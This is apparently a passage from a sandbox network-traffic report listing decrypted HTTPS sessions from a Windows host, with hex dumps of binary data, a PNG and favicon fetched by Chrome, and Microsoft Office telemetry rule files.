2024-10-07 12:10:21 UTC	8000	IN	Data Raw: 58 1a a0 a3 0a d3 67 f7 2e 2a 00 de 7b e6 a8 c2 df 1d a7 0e 28 00 de 72 62 5f 00 00 73 be 5f ba 7c 26 04 36 d6 c0 06 fc 12 02 53 6a 21 fc ed b6 00 04 36 96 bf 84 bf ef 75 39 00 7d df c3 df 8b 01 0b e1 bb 3f 3d 50 00 fc 72 d5 fa 97 f0 57 c3 7f bd c2 8b df 5f e2 f1 cf cb b8 20 db ee 3c bd 1d 1d 33 ad 70 f7 c9 fd 49 23 59 2d 80 57 01 30 e7 05 26 98 23 38 24 cc 63 dc 00 44 8a 16 9d c6 02 d8 00 60 6e 6b a5 5b 00 98 c0 90 90 d0 88 e9 84 85 ea 66 5a d6 51 06 00 f3 7c c6 fa 98 fb 11 24 32 34 d2 11 ed 6d 4e 3d 0e d7 71 d9 1c 9f e7 22 d4 e4 b2 02 c9 ee 55 2b e0 5e cb a3 08 45 08 6c 00 b0 4f da 40 9d 1d 95 e8 6c 2f 86 df 97 6a cd 95 e2 8d 42 af 4f ea 9f 2e 02 60 07 8e ed ce c1 c9 3d 99 12 a6 e2 e0 0e 69 d7 cc c5 a1 a3 fd 0b e9 58 af 41 45 ed 1a e4 94 7e 1a 00 17 b8 Data Ascii: Xg.*{(rb_s_\|&6Sj!6u9}?=PrW_ <3pI#Y-W0&#8$cD`nk[fZQ\|$24mN=q"U+^ElO@l/jBO.`=iXAE~
2024-10-07 12:10:21 UTC	8000	IN	Data Raw: 30 38 3f 2a 1a 47 fd 40 87 34 b6 f2 15 00 33 c4 a9 bf 3c 13 03 e4 fe e4 1b 29 cf 48 47 34 32 e5 3b ac ed 64 68 15 e9 40 ce 13 22 13 00 4f 61 62 af 1c a7 6c 7f 42 8e 95 2e 60 cb 01 3c 28 c7 bf 12 02 9a 62 f8 67 42 5f 3a 7f 09 80 2d 08 3c 84 de 9d dd 68 1d 6f 56 f7 af ab bb 42 01 70 43 7f 1d 1a 07 e4 7f 1b a8 43 75 4f ad c2 df b2 b6 0a 05 84 96 1b b8 49 4a 2b f7 2f dd bf 0c ef cd 50 31 69 a5 19 48 29 96 df 9f 74 c0 d2 8b 1c 3a 5a 96 e9 05 fa 47 2a 30 30 5c 81 8e ee 3c 8d 3a 51 53 9f 28 0d a6 50 6b 00 52 ba 3c f7 32 02 14 06 a7 65 85 e8 e0 87 b1 a9 26 4c 4c b7 a3 7f b8 01 ad 9d 95 ea 00 ee 1b 69 c7 c8 f4 20 06 b7 0f 29 fc 1d dc 21 e7 71 7e 0a 53 fb 66 31 73 78 01 73 df ef d5 dc bf bb 7e 38 82 85 53 07 31 7d 74 17 c6 f6 33 87 f3 2c e6 4f ee c5 de 73 07 b1 ff Data Ascii: 08?G@43<)HG42;dh@"OablB.`<(bgB_:-<hoVBpCCuOIJ+/P1iH)t:ZG00\<:QS(PkR<2e&LLi )!q~Sf1sxs~8S1}t3,Os
2024-10-07 12:10:21 UTC	8000	IN	Data Raw: 21 e8 13 15 00 27 26 47 79 1c c0 0e 11 43 40 27 c9 75 e8 94 eb 2e 5d ae 17 e6 00 a6 eb 97 e0 97 a5 71 00 33 fc 33 01 70 71 7c 18 5c e9 76 b4 96 66 62 b4 ad 42 21 f0 40 47 19 da 9b f2 d1 d1 5c 28 0f 85 02 34 4b 47 88 20 98 50 a4 aa 26 0b a5 a5 0e 94 97 3b 51 21 1d a9 46 69 68 12 18 d3 f9 3b d4 56 8a c1 d6 12 69 38 66 a2 3a cf 8e 22 79 10 11 02 d3 01 cc 10 d0 b9 72 9c 45 69 76 94 66 27 7b 00 f0 8a 03 38 47 1d c0 04 c0 95 d2 a8 ae 94 06 6a 65 45 0a 6a aa 1c 68 aa 96 07 46 a3 0d ed 0d 21 18 68 0d c1 ce de 48 0d 27 7f 76 5f 0a 2e 1d 4e c1 95 c3 0e 05 c0 c7 67 22 30 d7 bb 05 c3 0d 5f a1 ad 62 9d 0e 2c 31 00 b8 bc 24 04 95 e5 1c f9 e4 40 a1 74 04 f2 a5 61 5c 24 ff 0b c3 df 33 4c 12 73 d9 12 fe d2 fd 4b 00 cc 3a 9d 5f 95 0d 55 d2 e8 94 b2 b6 42 e1 6f 43 2b f3 fd Data Ascii: !'&GyC@'u.]q33pq\|\vfbB!@G\(4KG P&;Q!Fih;Vi8f:"yrEivf'{8GjeEjhF!hH'v_.Ng"0_b,1$@ta\$3LsK:_UBoC+
2024-10-07 12:10:21 UTC	8000	IN	Data Raw: 51 00 7c 6a 26 41 01 f0 a5 3d 36 9c 5b 08 c5 77 13 5b a5 03 b3 0e d3 04 c0 c3 df e2 fb f9 30 1c 59 88 c6 c1 f9 38 cc 8c 45 a3 b5 d1 17 05 79 1b 3c 00 38 33 2f 4a 6e 7c 56 e8 10 4b 2b 00 38 bd 90 21 a0 d3 e4 66 98 89 ec 52 02 56 cb a5 cb 86 37 1b da 14 eb 04 bf 96 53 90 d3 2b b2 f2 02 a7 eb e8 4c 23 8e 10 32 f5 ac a2 74 cd 4f a1 f3 64 bb 5f 12 1b f7 dc cf 5a 00 ec ed 08 66 63 c7 00 5f 1e 8f ba 87 45 2b 00 38 4b 3a 0d 4e 30 0f 46 42 52 34 12 12 a3 90 18 1f 89 24 91 23 36 0c 8e c8 50 24 c9 b5 9b 2c d7 64 66 44 88 02 60 e3 fe 2d 89 66 19 62 b9 7f e5 bb a1 5c 29 31 68 2a 48 91 df 62 21 06 9b 2d 17 6f 57 63 be 28 17 5d cd 79 e8 94 92 ea 6a 2d d4 e9 16 79 70 32 0f 41 5d 45 12 9a a5 01 d9 d7 9a 8f e1 f6 22 8c b4 15 cb e7 0b 65 3b b9 68 91 ce 56 59 6a 24 0a 93 c3 Data Ascii: Q\|j&A=6[w[0Y8Ey<83/Jn\|VK+8!fRV7S+L#2tOd_Zfc_E+8K:N0FBR4$#6P$,dfD`-fb\)1h*Hb!-oWc(]yj-yp2A]E"e;hVYj$
2024-10-07 12:10:21 UTC	8000	IN	Data Raw: 5f ac 95 13 96 0e 51 82 60 2a 29 29 01 15 15 65 e8 e8 6c f9 1d 00 ee 1f 6f 47 df 24 9d c0 1d 18 d8 de 89 5e 29 09 7c 2d f8 bb 1a 00 7b 3b 80 09 7c 0d 00 a6 14 00 0f 37 e2 bf 72 00 d7 74 16 a3 aa bd 50 e1 af 05 80 b3 a4 cc 44 b6 dc f4 d3 e4 41 65 4b 0d 53 00 bc 29 fc 5b 6c 0e fd 06 5b c2 36 e8 43 c6 27 d4 ca 7f 6c 1c c0 04 c0 c1 ea 00 66 08 68 5f 44 c8 7c 02 e0 a8 a0 f5 88 0e b4 00 70 66 c2 26 b4 57 c5 61 e7 40 b6 34 3e 1d 68 2b dd 86 ba dc af 51 9b b9 0e d5 19 eb d0 51 f4 15 26 9a 7c b1 67 20 02 c7 b6 c7 bb 1d c0 21 9a 03 98 0e 60 86 93 18 6c d8 84 ee 9a f5 ea d6 ab 2a a0 03 78 35 00 36 0e e0 a0 e0 6f 15 00 f3 b8 08 4b b7 fa 6f 51 19 d7 b6 81 b1 06 6e 52 7e 21 be 2a 02 60 ea 8f 00 b0 3e 74 f8 19 02 d3 70 26 a6 0f 5b 05 80 29 03 7f fd bd 06 0d 18 f0 eb bd Data Ascii: _Q`))eloG$^)\|-{;\|7rtPDAeKS)[l[6C'lfh_D\|pf&Wa@4>h+QQ&\|g !`lx56oKoQnR~!*`>tp&[)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.5	49816	172.67.69.206	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:23 UTC	364	OUT	GET /static/img/small/c.png HTTP/1.1 Host: browser-update.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 12:10:23 UTC	683	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:23 GMT Content-Type: image/png Content-Length: 787 Connection: close Cache-Control: max-age=86400 content-disposition: inline; filename=c.png last-modified: Sun, 21 Mar 2021 12:19:17 GMT CF-Cache-Status: REVALIDATED Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9IjLQE5yCxTJ7cqqoeCOq75G8oMWFk7G7%2FsqOOpHTar%2FKgL4nAWueA6LuGAzI4wxPBX82X4cryeS%2FbGB60kp%2FpHGwUh20%2BMoT0K75jcQ6tiKQwfdvxb%2FPq8cMdKrvA%2Fze1omtg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cedc9a7bd3842a0-EWR
2024-10-07 12:10:23 UTC	686	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 03 00 00 00 28 2d 0f 53 00 00 01 ad 50 4c 54 45 00 00 00 45 bc 4a fd d2 08 ef 68 57 ef 67 57 37 8b 40 ee 61 51 eb b8 1b 37 a9 46 39 8d 41 ec 5e 50 ec 5e 50 fc d2 09 fc d2 09 ff bd 15 7a a0 34 42 a3 45 46 aa 46 e8 b1 20 1c 88 47 40 9d 44 49 af 47 e7 b3 1e fa cf 0a ea 52 47 ff ef 01 e2 ae 23 e2 ae 22 ec bc 19 ea 51 47 ef 67 56 3d 97 42 e2 27 46 38 89 41 4c b6 48 39 90 41 ec 5b 4e c5 55 3e 37 89 41 f0 b8 15 ed 64 54 ee 63 53 e9 51 47 fd d3 09 ff d2 01 ec 5c 4f e4 2a 47 40 9d 44 3c 96 42 3e 81 b6 42 a2 44 3f 9a 44 3a 91 41 e7 47 40 f7 c7 0f 54 91 c2 44 71 be 00 4e a1 0b 5d 9a f1 8f 8b 85 c9 73 ec 5d 4f 33 ce 4e 47 ab 46 2d a4 2d 2c 9e 2b ea 77 24 ea 76 23 e9 b8 1c ea 25 1c fd d4 07 fe Data Ascii: PNGIHDR(-SPLTEEJhWgW7@aQ7F9A^P^Pz4BEFF G@DIGRG#"QGgV=B'F8ALH9A[NU>7AdTcSQG\O*G@D<B>BD?D:AG@TDqN]s]O3NGF--,+w$v#%
2024-10-07 12:10:23 UTC	101	IN	Data Raw: 2d 2c 22 d2 3c dd dc b4 c5 19 38 0c 8c f5 8b 1c 6d 12 e3 6d fa 74 b4 bb cd d8 19 18 94 4d 80 42 35 0e 65 3d 9e 9d 66 ed 32 20 a7 b2 9a 18 18 e8 67 97 ea 98 b5 b9 88 41 3c a3 c8 69 52 90 d3 d4 e5 d2 28 0d f3 ae 1a ab 30 3f 9f 90 14 3b 88 0d 00 48 2f 34 ff 10 a6 ea 05 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: -,"<8mmtMB5e=f2 gA<iR(0?;H/4IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.5	49809	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:23 UTC	908	OUT	GET /2016/wp-content/themes/twb_2016/assets/images/favicons/favicon.ico HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; _ga_E694J4CV2M=GS1.2.1728303016.1.0.1728303016.0.0.0; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408
2024-10-07 12:10:23 UTC	306	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:23 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:59:03 GMT Accept-Ranges: bytes Content-Length: 1150 Cache-Control: max-age=604800 Expires: Mon, 14 Oct 2024 12:10:23 GMT Content-Type: image/x-icon
2024-10-07 12:10:23 UTC	1150	IN	Data Raw: 00 00 01 00 01 00 10 10 00 00 01 00 20 00 68 04 00 00 16 00 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 00 04 00 00 23 2e 00 00 23 2e 00 00 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: h( #.#.

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.5	49811	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:23 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 12:10:23 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:23 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: d4448e94-101e-00a2-2703-179f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T121023Z-1657d5bbd48t66tjar5xuq22r800000003g00000000059bv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 12:10:23 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.5	49813	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:23 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 12:10:23 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:23 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 28f6fc08-301e-0020-466a-176299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T121023Z-1657d5bbd48dfrdj7px744zp8s000000034000000000fxyn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 12:10:23 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.5	49814	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:23 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 12:10:23 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:23 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: c59bb0f9-701e-0097-2d01-17b8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T121023Z-1657d5bbd48tnj6wmberkg2xy800000003e000000000hx1m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 12:10:23 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.5	49810	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:23 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 12:10:23 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:23 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 8aaf7b13-d01e-0028-46fd-167896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T121023Z-1657d5bbd48qjg85buwfdynm5w00000003k0000000009d04 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 12:10:23 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.5	49812	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:23 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 12:10:23 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:23 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 4545068c-701e-0050-0e05-176767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T121023Z-1657d5bbd48lknvp09v995n790000000031g00000000dt24 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 12:10:23 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.5	49828	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:25 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 12:10:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:25 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 9d5a2ff7-201e-00aa-339f-183928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T121025Z-1657d5bbd48hzllksrq1r6zsvs00000000p000000000bkq6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 12:10:25 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.5	49827	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:25 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
